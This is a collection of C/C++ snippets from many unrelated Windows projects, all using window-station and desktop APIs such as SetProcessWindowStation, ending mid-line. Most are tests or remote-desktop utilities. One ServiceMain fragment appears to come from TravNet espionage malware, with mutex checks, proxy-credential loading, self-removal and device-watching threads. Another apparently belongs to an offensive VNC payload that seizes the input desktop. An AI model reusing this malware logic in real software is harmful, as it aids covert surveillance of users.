int SetUserDesktop( int mode ) { static HWINSTA hwinstaSave; static HDESK hdeskSave; static HWINSTA hwinstaUser; static HDESK hdeskUser; if(mode == 1) { hwinstaSave = GetProcessWindowStation(); hdeskSave = GetThreadDesktop(GetCurrentThreadId()); hwinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED); if (hwinstaUser == NULL) return 0; SetProcessWindowStation(hwinstaUser); hdeskUser = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); if (hdeskUser == NULL) { SetProcessWindowStation(hwinstaSave); CloseWindowStation(hwinstaUser); return 0; } SetThreadDesktop(hdeskUser); } else if(mode == 0) { SetThreadDesktop(hdeskSave); SetProcessWindowStation(hwinstaSave); CloseDesktop(hdeskUser); CloseWindowStation(hwinstaUser); } return 0; }
int pem_passwd_cb(char *buf, int size, int rwflag, void *userdata) { int result; #if 0 DWORD dwThreadId; HWINSTA hwinstaSave; HDESK hdeskSave; HWINSTA hwinstaUser; HDESK hdeskUser; buf[0]='\0'; /* empty the buffer */ /* Save the window station and desktop */ hwinstaSave=GetProcessWindowStation(); if(!hwinstaSave) ioerror("GetProcessWindowStation"); dwThreadId=GetCurrentThreadId(); if(!dwThreadId) ioerror("GetCurrentThreadId"); hdeskSave=GetThreadDesktop(dwThreadId); if(!hdeskSave) ioerror("GetThreadDesktop"); /* Switch to WinSta0/Default */ hwinstaUser=OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if(!hwinstaUser) ioerror("OpenWindowStation"); if(!SetProcessWindowStation(hwinstaUser)) ioerror("SetProcessWindowStation"); hdeskUser=OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); /* Winlogon */ if(!hdeskUser) ioerror("OpenDesktop"); if(!SetThreadDesktop(hdeskUser)) ioerror("SetThreadDesktop"); #endif /* Display the dialog box */ section=userdata; result=DialogBox(ghInst, TEXT("PassBox"), hwnd, (DLGPROC)pass_proc); #if 0 /* Restore window station and desktop */ if(!SetThreadDesktop(hdeskSave)) ioerror("SetThreadDesktop"); if(!SetProcessWindowStation(hwinstaSave)) ioerror("SetProcessWindowStation"); if(!CloseDesktop(hdeskUser)) ioerror("CloseDesktop"); if(!CloseWindowStation(hwinstaUser)) ioerror("CloseWindowStation"); #endif if(!result) return 0; strncpy(buf, passphrase, size); buf[size - 1] = '\0'; return strlen(buf); }
void Test_OpenInputDesktop() { HDESK hDeskInput ,hDeskInput2; HDESK hDeskInitial; BOOL ret; HWINSTA hwinsta = NULL, hwinstaInitial; DWORD err; hDeskInput = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(hDeskInput != NULL, "OpenInputDesktop failed\n"); hDeskInitial = GetThreadDesktop( GetCurrentThreadId() ); ok(hDeskInitial != NULL, "GetThreadDesktop failed\n"); ok(hDeskInput != hDeskInitial, "OpenInputDesktop returned thread desktop\n"); hDeskInput2 = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(hDeskInput2 != NULL, "Second call to OpenInputDesktop failed\n"); ok(hDeskInput2 != hDeskInput, "Second call to OpenInputDesktop returned same handle\n"); ok(CloseDesktop(hDeskInput2) != 0, "CloseDesktop failed\n"); ret = SetThreadDesktop(hDeskInput); ok(ret == TRUE, "SetThreadDesktop for input desktop failed\n"); ret = SetThreadDesktop(hDeskInitial); ok(ret == TRUE, "SetThreadDesktop for initial desktop failed\n"); ok(CloseDesktop(hDeskInput) != 0, "CloseDesktop failed\n"); /* Try calling OpenInputDesktop after switching to a new winsta */ hwinstaInitial = GetProcessWindowStation(); ok(hwinstaInitial != 0, "GetProcessWindowStation failed\n"); hwinsta = CreateWindowStationW(L"TestWinsta", 0, WINSTA_ALL_ACCESS, NULL); ok(hwinsta != 0, "CreateWindowStationW failed\n"); ret = SetProcessWindowStation(hwinsta); ok(ret != 0, "SetProcessWindowStation failed\n"); hDeskInput = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(hDeskInput == 0, "OpenInputDesktop should fail\n"); err = GetLastError(); ok(err == ERROR_INVALID_FUNCTION, "Got last error: %lu\n", err); ret = SetProcessWindowStation(hwinstaInitial); ok(ret != 0, "SetProcessWindowStation failed\n"); ret = CloseWindowStation(hwinsta); ok(ret != 0, "CloseWindowStation failed\n"); }
void vncService::SelectHomeWinStation() { HWINSTA station=GetProcessWindowStation(); SetProcessWindowStation(home_window_station); CloseWindowStation(station); }
/* * This test inspects the same window station aspects that are used in the * Cygwin fhandler_console.cc!fhandler_console::create_invisible_console() * function, see: * https://github.com/cygwin/cygwin/blob/7b9bfb4136f23655e243bab89fb62b04bdbacc7f/winsup/cygwin/fhandler_console.cc#L2494 */ VOID DoTest(HWND hWnd) { HWINSTA hWinSta; LPCWSTR lpszWinSta = L"Test-WinSta"; BOOL bIsItOk; LOG_FILE LogFile; WCHAR szBuffer[2048]; bIsItOk = InitLog(&LogFile, L"test_winsta.log", szBuffer, sizeof(szBuffer)); if (!bIsItOk) { MessageBoxW(hWnd, L"Could not create the log file, stopping test now...", L"Error", MB_ICONERROR | MB_OK); return; } /* Switch output to UTF-16 (little endian) */ WriteToLog(&LogFile, "\xFF\xFE", 2); WriteToLogPrintf(&LogFile, L"Creating Window Station '%s'\r\n", lpszWinSta); hWinSta = CreateWindowStationW(lpszWinSta, 0, WINSTA_ALL_ACCESS, NULL); WriteToLogPrintf(&LogFile, L"--> Returned handle 0x%p ; last error: %lu\r\n", hWinSta, GetLastError()); if (!hWinSta) { WriteToLogPuts(&LogFile, L"\r\nHandle is NULL, cannot proceed further, stopping the test!\r\n\r\n"); return; } WriteToLogPrintf(&LogFile, L"Enumerate desktops on Window Station '%s' (0x%p) (before process attach)\r\n", lpszWinSta, hWinSta); bIsItOk = EnumDesktopsW(hWinSta, EnumDesktopProc, (LPARAM)&LogFile); WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n", (bIsItOk ? L"success" : L"failure"), GetLastError()); WriteToLogPrintf(&LogFile, L"Setting current process to Window Station '%s' (0x%p)\r\n", lpszWinSta, hWinSta); bIsItOk = SetProcessWindowStation(hWinSta); WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n", (bIsItOk ? L"success" : L"failure"), GetLastError()); WriteToLogPrintf(&LogFile, L"Enumerate desktops on Window Station '%s' (0x%p) (after process attach, before allocating console)\r\n", lpszWinSta, hWinSta); bIsItOk = EnumDesktopsW(hWinSta, EnumDesktopProc, (LPARAM)&LogFile); WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n", (bIsItOk ? L"success" : L"failure"), GetLastError()); WriteToLogPrintf(&LogFile, L"Allocating a new console on Window Station '%s' (0x%p)\r\n", lpszWinSta, hWinSta); bIsItOk = AllocConsole(); WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n", (bIsItOk ? L"success" : L"failure"), GetLastError()); WriteToLogPrintf(&LogFile, L"Enumerate desktops on Window Station '%s' (0x%p) (after allocating console)\r\n", lpszWinSta, hWinSta); bIsItOk = EnumDesktopsW(hWinSta, EnumDesktopProc, (LPARAM)&LogFile); WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n", (bIsItOk ? L"success" : L"failure"), GetLastError()); WriteToLogPrintf(&LogFile, L"Now closing Window Station '%s' (0x%p)\r\n", lpszWinSta, hWinSta); bIsItOk = CloseWindowStation(hWinSta); WriteToLogPrintf(&LogFile, L"--> Returned %s ; last error: %lu\r\n\r\n", (bIsItOk ? L"success" : L"failure"), GetLastError()); CloseLog(&LogFile); }
extern "C" __declspec(dllexport) void ServiceMain() { Fast_ServiceStatus(SERVICE_START_PENDING, NO_ERROR, 1); Fast_ServiceStatus(SERVICE_RUNNING , NO_ERROR, 0); HWINSTA hProcWinStat = GetProcessWindowStation(); HWINSTA hWinStat = OpenWindowStation("winsta0", FALSE, WINSTA_ALL_ACCESS); if (NULL != hWinStat) SetProcessWindowStation(hWinStat); CloseWindowStation(hProcWinStat); g_hMutex = CreateMutex(NULL, TRUE, TRAVNET_MUTEX_NAME); if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(g_hMutex); return; } Sleep(1000); if (FALSE == LoadConfig()) return; if (FALSE == g_bCheckedSuccess) { LoadProxyConfig(); if (g_bUseProxy) { sprintf(g_nProxy_IP__TEST , "%s", g_nProxy_IP); sprintf(g_nProxy_PORT__TEST , "%s", g_nProxy_PORT); sprintf(g_nProxy_USER__TEST , "%s", g_nProxy_USER); sprintf(g_nProxy_PSW__TEST , "%s", g_nProxy_PSW); if(FALSE == TestProxyConnection() && TRUE == g_bAutoCheck && FALSE == RetriveInfo()) { RemoveALL(); return; } } else if(TRUE == g_bAutoCheck && FALSE == RetriveInfo()) { RemoveALL(); return; } SetCheckSuccess(); } // Start main routine Sleep(60000); g_lpThread1 = CreateThread(NULL, 0, g_fnThread1, NULL, 0, &g_dwThreadId1); // Wait for new devices Sleep(10000); g_lpThread2 = CreateThread(NULL, 0, g_fnThread2, NULL, 0, &g_dwThreadId2); do Sleep(100); while (g_dwServiceStatus != SERVICE_STOP_PENDING && g_dwServiceStatus != SERVICE_STOPPED); }
void KillWindow() { window_ready=false; wglMakeCurrent(NULL,NULL); // release GL rendering context if (hRC) { wglDeleteContext(hRC); hRC=NULL; } if (hWnd && hDC) { ReleaseDC(hWnd,hDC); } hDC = NULL; if (hWnd) { DestroyWindow(hWnd); } hWnd = NULL; if (hOriginalWindowStation) { SetProcessWindowStation(hOriginalWindowStation); CloseWindowStation(hInteractiveWindowStation); hInteractiveWindowStation = NULL; } if (hOriginalDesktop) { SetThreadDesktop(hOriginalDesktop); CloseDesktop(hInteractiveDesktop); hInteractiveDesktop = NULL; } }
int main(int argc, char **argv) { HWND hMain; HWINSTA hwinsta; hwinsta = OpenWindowStation("WinSta0", FALSE, WINSTA_READSCREEN); if (hwinsta == NULL || SetProcessWindowStation(hwinsta) == FALSE) printf("Failed to set window station!\n"); if (argc > 1) sscanf(argv[1], "%d", &hMain); else hMain = FindMainWindow(dialog_class_name, main_window_caption); printf("%d\n", hMain); if (hMain == NULL) { printf("Couldn't find window with caption %s\n", main_window_caption); exit(1); } if (!SendWindowEvents(hMain)) return 1; return 0; }
void Test_NtUserSystemParametersInfo_Winsta(PTESTINFO pti) { HWINSTA hwinsta, hwinstaOld; INT ai[20]; BOOL bRet; // INT i; hwinstaOld = GetProcessWindowStation(); hwinsta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL); SetProcessWindowStation(hwinsta); printf("hwinstaOld=%p, hwinsta=%p\n", hwinstaOld, hwinsta); #if 1 // currently Winsta stuff is broken in ros TEST(SystemParametersInfoA(SPI_GETBEEP, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_SETBEEP, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); TEST(SystemParametersInfoA(SPI_GETMOUSE, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_SETMOUSE, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); TEST(SystemParametersInfoA(SPI_GETBORDER, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_SETBORDER, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); TEST(SystemParametersInfoA(SPI_GETKEYBOARDSPEED, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_SETKEYBOARDSPEED, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); TEST(SystemParametersInfoA(SPI_ICONHORIZONTALSPACING, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_ICONHORIZONTALSPACING, 32, 0, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); TEST(SystemParametersInfoA(SPI_GETSCREENSAVETIMEOUT, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_SETSCREENSAVETIMEOUT, 0, ai, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); TEST(SystemParametersInfoA(SPI_GETKEYBOARDCUES, 0, &bRet, 0) == 0); TEST(GetLastError() == ERROR_ACCESS_DENIED); TEST(SystemParametersInfoA(SPI_SETKEYBOARDCUES, 0, (PVOID)1, 0) == 0); TEST(GetLastError() == ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION); #endif SetProcessWindowStation(hwinstaOld); }
BOOL COpenDesktop::_OpenDesktop(LPCWSTR szName) { WCHAR pvInfo[128] = {0}; if(szName != NULL) { lstrcpy((LPSTR)pvInfo, (LPCSTR)szName); } else { HDESK hActiveDesktop; DWORD dwLen; hActiveDesktop = OpenInputDesktop(DF_ALLOWOTHERACCOUNTHOOK, FALSE, MAXIMUM_ALLOWED); GetUserObjectInformation(hActiveDesktop, UOI_NAME, pvInfo, sizeof(pvInfo), &dwLen); CloseDesktop(hActiveDesktop); } m_hwinstaCurrent = GetProcessWindowStation(); CheckPointer(m_hwinstaCurrent,FALSE); m_hdeskCurrent = GetThreadDesktop(GetCurrentThreadId()); CheckPointer(m_hdeskCurrent,FALSE); // ´ò¿ªwinsta0 m_hwinsta = OpenWindowStation(_T("winsta0"), FALSE, WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | WINSTA_READATTRIBUTES | WINSTA_READSCREEN | WINSTA_WRITEATTRIBUTES); CheckPointer(m_hwinsta,FALSE); if (!SetProcessWindowStation(m_hwinsta)) { return FALSE; } // ´ò¿ªdesktop m_hdesk = OpenDesktop((LPSTR)pvInfo, 0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS); CheckPointer(m_hdesk,FALSE); SetThreadDesktop(m_hdesk); return TRUE; }
bool DetachFromWorkstation() { // Restore window station and desktop. SetThreadDesktop(hdeskSave); SetProcessWindowStation(hwinstaSave); CloseDesktop(hdeskUser); CloseWindowStation(hwinstaUser); return true; }
static BOOL CALLBACK check_winsta(wchar_t* winsta_name, LPARAM) { debug(L"entering enum_winsta_proc, winsta_name = %s\n", winsta_name); // open the window station and connect to it // (TODO: figure out what permissions are really needed here) // HWINSTA winsta = OpenWindowStation(winsta_name, FALSE, MAXIMUM_ALLOWED); if (winsta == NULL) { debug(L"OpenWindowStation error: %u\n", GetLastError()); return TRUE; } HWINSTA old_winsta = GetProcessWindowStation(); if (SetProcessWindowStation(winsta) == FALSE) { debug(L"SetProcessWindowStation error: %u\n", GetLastError()); if (CloseWindowStation(winsta) == FALSE) { debug(L"CloseWindowStation error: %u\n", GetLastError()); } return TRUE; } if (CloseWindowStation(old_winsta) == FALSE) { debug(L"CloseWindowStation error: %u\n", GetLastError()); } // open the "default" desktop and connect to it (if present) // (TODO: figure out what permissions are really needed here) // HDESK desktop = OpenDesktop(L"default", 0, FALSE, MAXIMUM_ALLOWED); if (desktop == NULL) { debug(L"OpenDesktop error: %u\n", GetLastError()); return TRUE; } HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); if (SetThreadDesktop(desktop) == FALSE) { debug(L"SetThreadDesktop error: %u\n", GetLastError()); if (CloseDesktop(desktop) == FALSE) { debug(L"CloseDesktop error: %u\n", GetLastError()); } return TRUE; } if (CloseDesktop(old_desktop) == FALSE) { debug(L"CloseDesktop error: %u\n", GetLastError()); } // check_this_winsta() returns TRUE if it found the pid, FALSE if not // BOOL found = check_this_winsta(); if (found) { SetLastError(ERROR_SUCCESS); } // return TRUE to keep searching return ! found; }
VOID PrepareMainThread() { PMONITOR Monitor = GetMonitor(); HMODULE hModule = NULL; HWINSTA hWinsta = NULL; HDESK hDesk = NULL; PCLIENT_THREAD_SETUP ClientThreadSetup = NULL; hModule = LoadLibrary(L"user32.dll"); if (hModule == NULL) { DebugPrint(L"LoadLibrary failed\n"); return; } DebugPrint(L"IsGUIThread=%x\n", IsGUIThread(TRUE)); ClientThreadSetup = (PCLIENT_THREAD_SETUP)GetProcAddress(hModule, "ClientThreadSetup"); if (ClientThreadSetup == NULL) { DebugPrint(L"ClientThreadSetup not found in mod=%p\n", hModule); goto cleanup; } BOOL Result = ClientThreadSetup(); DebugPrint(L"ClientThreadSetup=%x\n", Result); hWinsta = DeviceOpenWinsta(L"WinSta0"); if (hWinsta != NULL) { hDesk = DeviceOpenDesktop(hWinsta, L"Default"); } DebugPrint(L"Opened hwinsta=%p, hdesk=%p\n", hWinsta, hDesk); if (hWinsta != NULL) { if (!SetProcessWindowStation(hWinsta)) { DebugPrint(L"SetProcessWindowStation failed, err=%d, hWinsta=%x\n", GetLastError(), hWinsta); } } if (hDesk != NULL) { if (!SetThreadDesktop(hDesk)) { DebugPrint(L"SetThreadDesktop failed, error=%d\n", GetLastError()); } } if (hDesk != NULL) CloseDesktop(hDesk); if (hWinsta != NULL) CloseWindowStation(hWinsta); cleanup: FreeLibrary(hModule); }
bool AttachToWorkstation() { DWORD dwThreadId; // Ensure connection to service window station and desktop, and // save their handles. hwinstaSave = GetProcessWindowStation(); dwThreadId = GetCurrentThreadId(); hdeskSave = GetThreadDesktop(dwThreadId); // connect to the User's window station and desktop. //RpcImpersonateClient(h); hwinstaUser = OpenWindowStation("WinSta0", TRUE, MAXIMUM_ALLOWED); if (hwinstaUser == NULL) { //RpcRevertToSelf(); err_printf("AttachToWorkstation:OpenWindowStation failed, error %d.\n", GetLastError()); return false; } SetProcessWindowStation(hwinstaUser); hdeskUser = OpenInputDesktop(DF_ALLOWOTHERACCOUNTHOOK, TRUE, MAXIMUM_ALLOWED); /* DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS); */ //RpcRevertToSelf(); if (hdeskUser == NULL) { SetProcessWindowStation(hwinstaSave); CloseWindowStation(hwinstaUser); err_printf("AttachToWorkstation:OpenInputDesktop failed, error %d\n", GetLastError()); return false; } SetThreadDesktop(hdeskUser); return true; }
// this is required when we're replacing winlogon void init_window_station( void ) { SECURITY_ATTRIBUTES sa; HANDLE hwsta, hdesk; sa.nLength = sizeof sa; sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; hwsta = CreateWindowStationW( L"winsta0", 0, MAXIMUM_ALLOWED, &sa ); SetProcessWindowStation( hwsta ); hdesk = CreateDesktopW( L"Winlogon", 0, 0, 0, MAXIMUM_ALLOWED, &sa ); SetThreadDesktop( hdesk ); }
void Test_InitialDesktop(char *argv0) { HWINSTA hwinsta = NULL, hwinstaInitial; HDESK hdesktop = NULL; BOOL ret; hwinstaInitial = GetProcessWindowStation(); test_CreateProcessWithDesktop(0, argv0, NULL, 0); test_CreateProcessWithDesktop(1, argv0, "Default", 0); test_CreateProcessWithDesktop(2, argv0, "WinSta0\\Default", 0); test_CreateProcessWithDesktop(3, argv0, "Winlogon", STATUS_DLL_INIT_FAILED); test_CreateProcessWithDesktop(4, argv0, "WinSta0/Default", STATUS_DLL_INIT_FAILED); test_CreateProcessWithDesktop(5, argv0, "NonExistantDesktop", STATUS_DLL_INIT_FAILED); test_CreateProcessWithDesktop(6, argv0, "NonExistantWinsta\\NonExistantDesktop", STATUS_DLL_INIT_FAILED); hwinsta = CreateInheritableWinsta(L"TestWinsta", WINSTA_ALL_ACCESS, TRUE); ok(hwinsta!=NULL, "CreateWindowStation failed\n"); ret = SetProcessWindowStation(hwinsta); ok(ret != 0, "SetProcessWindowStation failed\n"); hdesktop = CreateInheritableDesktop(L"TestDesktop", DESKTOP_ALL_ACCESS, TRUE); ok(hdesktop!=NULL, "CreateDesktop failed\n"); test_CreateProcessWithDesktop(7, argv0, NULL, 0); test_CreateProcessWithDesktop(8, argv0, "TestWinsta\\TestDesktop", 0); test_CreateProcessWithDesktop(8, argv0, "NonExistantWinsta\\NonExistantDesktop", STATUS_DLL_INIT_FAILED); ret = SetProcessWindowStation(hwinstaInitial); ok(ret != 0, "SetProcessWindowStation failed\n"); ret = CloseDesktop(hdesktop); ok(ret != 0, "CloseDesktop failed\n"); ret = CloseWindowStation(hwinsta); ok(ret != 0, "CloseWindowStation failed\n"); }
BOOL COpenDesktop::_CloseDesktop() { if (!SetProcessWindowStation(m_hwinstaCurrent)) return FALSE; if (!SetThreadDesktop(m_hdeskCurrent)) return FALSE; if (!CloseWindowStation(m_hwinsta)) return FALSE; if (!CloseDesktop(m_hdesk)) return FALSE; return TRUE; }
/*********************************************************************** * winstation_init * * Connect to the process window station and desktop. */ static void winstation_init(void) { static const WCHAR WinSta0[] = {'W','i','n','S','t','a','0',0}; STARTUPINFOW info; WCHAR *winstation = NULL, *desktop = NULL, *buffer = NULL; HANDLE handle; GetStartupInfoW( &info ); if (info.lpDesktop && *info.lpDesktop) { buffer = HeapAlloc( GetProcessHeap(), 0, (strlenW(info.lpDesktop) + 1) * sizeof(WCHAR) ); strcpyW( buffer, info.lpDesktop ); if ((desktop = strchrW( buffer, '\\' ))) { *desktop++ = 0; winstation = buffer; } else desktop = buffer; } /* set winstation if explicitly specified, or if we don't have one yet */ if (buffer || !GetProcessWindowStation()) { handle = CreateWindowStationW( winstation ? winstation : WinSta0, 0, WINSTA_ALL_ACCESS, NULL ); if (handle) { SetProcessWindowStation( handle ); /* only WinSta0 is visible */ if (!winstation || !strcmpiW( winstation, WinSta0 )) { USEROBJECTFLAGS flags; flags.fInherit = FALSE; flags.fReserved = FALSE; flags.dwFlags = WSF_VISIBLE; SetUserObjectInformationW( handle, UOI_FLAGS, &flags, sizeof(flags) ); } } } if (buffer || !GetThreadDesktop( GetCurrentThreadId() )) { handle = CreateDesktopW( desktop ? desktop : get_default_desktop(), NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); if (handle) SetThreadDesktop( handle ); } HeapFree( GetProcessHeap(), 0, buffer ); }
BOOL CALLBACK EnumWindowStationProc(LPTSTR lpszWindowStation, LPARAM lParam) { fprintf(stdout,"[i] +> WindowStation [%s]\n",lpszWindowStation); HWINSTA hWinStat = OpenWindowStation(lpszWindowStation,FALSE,READ_CONTROL|WINSTA_ALL_ACCESS|GENERIC_ALL); if(hWinStat != NULL){ PrintPermissions(hWinStat,false); SetProcessWindowStation(hWinStat); if(EnumDesktops(hWinStat,&EnumDesktopProc,NULL)== NULL){ fprintf(stderr,"[!} Couldn't enumerate desktops - %s - %d\n",lpszWindowStation,GetLastError()); } } else { fprintf(stderr,"[!] Couldn't open Window station - %s - %d\n",lpszWindowStation,GetLastError()); } return true; }
LocalWindowsApplication::LocalWindowsApplication(HINSTANCE hInstance) : WindowsApplication(hInstance) { HWINSTA winSta = 0; winSta = OpenWindowStation(_T("WinSta0"), TRUE, GENERIC_ALL); if (winSta== 0) { throw SystemException(); } if (SetProcessWindowStation(winSta) == 0) { CloseWindowStation(winSta); throw SystemException(); } CloseWindowStation(winSta); DesktopSelector::selectDesktop(); }
BOOL CALLBACK WinStationEnumProc(LPTSTR name, LPARAM param) { HWINSTA station = OpenWindowStation(name, FALSE, GENERIC_ALL); HWINSTA oldstation = GetProcessWindowStation(); USEROBJECTFLAGS flags; if (!GetUserObjectInformation(station, UOI_FLAGS, &flags, sizeof(flags), NULL)) { return TRUE; } BOOL visible = flags.dwFlags & WSF_VISIBLE; if (visible) { if (SetProcessWindowStation(station)) { if (oldstation != home_window_station) { CloseWindowStation(oldstation); } } else { CloseWindowStation(station); } return FALSE; } return TRUE; }
/* * Switch to the input desktop and set it as this threads desktop. */ HDESK vncdll_getinputdesktop( BOOL bSwitchStation ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HDESK hInputDesktop = NULL; HWND hDesktopWnd = NULL; do { if( bSwitchStation ) { // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" ); } // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); } while( 0 ); return hInputDesktop; }
LocalWindowsApplication::LocalWindowsApplication(HINSTANCE hInstance, const TCHAR *windowClassName) : WindowsApplication(hInstance, windowClassName) { HWINSTA winSta = 0; winSta = OpenWindowStation(_T("WinSta0"), TRUE, GENERIC_ALL); if (winSta== 0) { throw SystemException(); } if (SetProcessWindowStation(winSta) == 0) { CloseWindowStation(winSta); throw SystemException(); } CloseWindowStation(winSta); // FIXME: why we don't check returning values? DesktopSelector::selectDesktop(); }
DWORD GrantDesktopAccess( IN const WCHAR *accountName, IN const WCHAR *systemName ) { HWINSTA originalWindowStation; HWINSTA windowStation = NULL; HDESK desktop = NULL; DWORD status = ERROR_UNIDENTIFIED_ERROR; SID *sid = NULL; EXPLICIT_ACCESS newEa[2]; if (!accountName) return ERROR_INVALID_PARAMETER; originalWindowStation = GetProcessWindowStation(); if (!originalWindowStation) { return perror("GetProcessWindowStation"); } windowStation = OpenWindowStation( L"WinSta0", FALSE, READ_CONTROL | WRITE_DAC); if (!windowStation) { return perror("OpenWindowStation"); } if (!SetProcessWindowStation(windowStation)) { status = perror("SetProcessWindowStation"); goto cleanup; } desktop = OpenDesktop( TEXT("Default"), 0, FALSE, READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS); if (!desktop) { status = perror("OpenDesktop"); goto cleanup; } if (!SetProcessWindowStation(originalWindowStation)) { status = perror("SetProcessWindowStation(Original)"); goto cleanup; } status = GetAccountSid(accountName, systemName, &sid); if (ERROR_SUCCESS != status) { perror2(status, "GetAccountSid"); goto cleanup; } newEa[0].grfAccessPermissions = GENERIC_ACCESS; newEa[0].grfAccessMode = GRANT_ACCESS; newEa[0].grfInheritance = CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE; newEa[0].Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; newEa[0].Trustee.TrusteeForm = TRUSTEE_IS_SID; newEa[0].Trustee.TrusteeType = TRUSTEE_IS_USER; newEa[0].Trustee.ptstrName = (WCHAR *)sid; newEa[1] = newEa[0]; newEa[1].grfAccessPermissions = WINSTA_ALL; newEa[1].grfInheritance = NO_PROPAGATE_INHERIT_ACE; status = MergeWithExistingDacl(windowStation, 2, newEa); if (ERROR_SUCCESS != status) { perror2(status, "MergeWithExistingDacl(WindowStation)"); goto cleanup; } newEa[0].grfAccessPermissions = DESKTOP_ALL; newEa[0].grfAccessMode = GRANT_ACCESS; newEa[0].grfInheritance = 0; status = MergeWithExistingDacl(desktop, 1, newEa); if (ERROR_SUCCESS != status) { perror2(status, "MergeWithExistingDacl(Desktop)"); goto cleanup; } cleanup: if (desktop) CloseDesktop(desktop); if (windowStation) CloseWindowStation(windowStation); if (sid) LocalFree(sid); return ERROR_SUCCESS; }
static void test_handles(void) { HWINSTA w1, w2, w3; HDESK d1, d2, d3; HANDLE hthread; DWORD id, flags, le; ATOM atom; char buffer[20]; /* win stations */ w1 = GetProcessWindowStation(); ok( GetProcessWindowStation() == w1, "GetProcessWindowStation returned different handles\n" ); ok( !CloseWindowStation(w1), "closing process win station succeeded\n" ); SetLastError( 0xdeadbeef ); ok( !CloseHandle(w1), "closing process win station handle succeeded\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); print_object( w1 ); flags = 0; ok( GetHandleInformation( w1, &flags ), "GetHandleInformation failed\n" ); ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE) || broken(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), /* set on nt4 */ "handle %p PROTECT_FROM_CLOSE set\n", w1 ); ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseWindowStation(w2), "closing dup win station failed\n" ); ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseHandle(w2), "closing dup win station handle failed\n" ); w2 = 